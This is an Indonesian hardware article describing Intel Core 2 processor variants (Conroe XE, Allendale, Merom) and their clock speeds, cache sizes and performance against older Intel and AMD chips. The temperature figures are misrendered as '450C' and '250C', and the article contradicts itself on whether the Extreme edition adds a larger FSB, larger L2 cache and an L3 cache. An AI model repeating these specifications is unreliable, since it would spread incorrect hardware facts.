Processor Intel Core 2 yang sudah memakai Intel Core 2 Extreme dengan core Conroe XE ini akan menggantikan posisi dari Processor Pentium 4 EE (Extreme Edition) dan Dual Core Extreme Edition. Core 2 Extreme mempunyai clock speed sebesar 2.93 GHz dan FSB sebesar 1066 MT/s. Keluarga dari Conroe XE memerlukan TDP hanya sebesar 75 sampai 80 Watt. Dalam keadaan full load temperature processor dari X6800 yang dihasilkan tidak akan melebihi 450C. Lain lagi jika fungsi SpeedStep-nya berada dalam keadaan aktif. Jika aktif, maka temperatur processor saat keadaan idle yang dihasilkan oleh X6800 hanya berkisar sekitar 250C. Cukup mengesankan, mengingat pada generasi sebelumnya processor Intel Pentium 4 Extreme Edition menghasilkan panas yang bisa dikatakan sangat tinggi.
Hampir sama seperti Core 2 Duo, Core 2 Extreme memiliki shared L2 cache sebesar 4 MB hanya saja perbedaan yang paling terlihat dari kedua Conroe tersebut adalah kecepatan dari masing-masing clock speednya saja. Sebenarnya untuk sebuah processor sekelas “Extreme Edition”, perbedaan seharusnya bisa lebih banyak lagi, bukan hanya didasarkan pada besar kecilnya clock speed-nya saja. Selain perbedaan clock speed tersebut, Core 2 Extreme mempunyai fitur untuk merubah multipliers sampai 11x (step) untuk mendapatkan hasil overclocking yang maksimal. Fitur-fitur unik lain yang disertakan juga pada Core 2 Extreme Edition kali ini adalah FSB yang lebih besar, L2 cache lebih besar, dan adanya L3 cache.
ALLENDALE
Core processor ini dipakai oleh processor Core 2 Duo dengan core Conroe yang hanya memiliki 2 MB L2 Cache. Beberapa Core 2 Duo yang memakai Allendale sebagai core processornya adalah E6300 dengan clock speed sebesar 1.86 GHz dan E6400 dengan clock speed 2.13 GHz, keduanya memiliki FSB sebesar 1066 MT/s.
MEROM
Merom adalah core processor Intel Core 2 versi mobile pertama yang diluncurkan secara bersamaan dengan Conroe, Conroe XE, dan Allendale. Pada dasarnya, Merom mempunyai spesifikasi dan fitur yang sama dengan Conroe namun Merom mempunyai kelebihan, yaitu ia hanya membutuhkan daya yang sedikit. Pihak Intel sendiri mengklaim bahwa Merom mampu mendongkrak kinerja dari notebook sebesar 20%, namun dengan menggunakan resource daya yang sama dengan processor core duo yang memakai core processor Yonah. Selain itu, Merom adalah processor mobile Intel pertama yang telah mengintegrasikan teknologi EM64T 64-bit di dalamnya. Merom sendiri mempunyai FSB sebesar 667 MT/s sama persis dengan jajaran processor sebelumnya yaitu Intel Core Duo.
Processor Core 2 yang menggunakan core processor Merom diberi label dengan “T5×00” dan “T7×00”. Keduanya mempunyai besar shared L2 cache yang berbeda. Pada T5×00 L2 cache yang diusung adalah sebesar 2 MB, sedangkan pada T7×00 L2 cache-nya adalah sebesar 4 MB.
Beberapa jenis dari Merom adalah T5500 dengan clock speed sebesar 1.66 GHz, T5600 dengan clock speed sebesar 1.83 GHz, T7200 dengan closk speed sebesar 2.00 GHz, T7400 dengan clock speed sebesar 2.16 GHz, dan T7600 dengan clock speed sebesar 2.33 GHz.
Sesuai dengan jenisnya, processor ini didesain oleh intel untuk diaplikasikan ke dalam notebook, karena kelebihannya yang hanya membutuhkan sedikit resource daya dari sebuah baterai notebook untuk bisa bekerja secara maksimal. Sehingga dengan begitu, tidak saja baterai notebook Anda yang akan tahan lebih lama, namun tentu kinerja yang akan Anda dapatkan akan lebih maksimal dibandingkan dengan processor core duo dengan core processor Yonah.
Perbedaan Dual Core dan Core 2 Duo
Secara teknis, kalau dari klaimnya Intel, Core 2 Duo itu lebih hemat daya sampai 40 persen dibandingkan dengan prosesor Dual Core pendahulunya dan juga memiliki kinerja yang 40 persen lebih cepat. Selain itu, cache L2 yang lebih besar juga sudah dilengkapi dengan teknologi terbaru, kalau nggak salah disebut smart cache, yang membuat kinerjanya jadi lebih baik lagi. (PC+ 277)
Kinerja prosesor Core 2 Duo menang telak cukup jauh jika dibandingkan dengan prosesor Intel Pentium D seri Presler apalagi Pentium D seri Smithfield yang masih menggunakan mikroarsitektur Intel NetBurst. Jika dibandingkan dengan seterunya, AMD Athlon FX 60, sebuah prosesor Intel Core 2 Duo berkecepatan 2400 MHz mengungguli prosesor tersebut dengan perbedaan kinerja kira-kira 15%. Jika prosesor AMD Athlon FX tersebut di-overclock menjadi 3.4 GHz, prosesor tersebut unggul tipis dibandingkan Core 2 Duo 2400 MHz. Ini berarti prosesor Intel Core 2 Duo jauh lebih efisien dibandingkan dengan pendahulunya dalam rangka mengeksekusi instruksi.



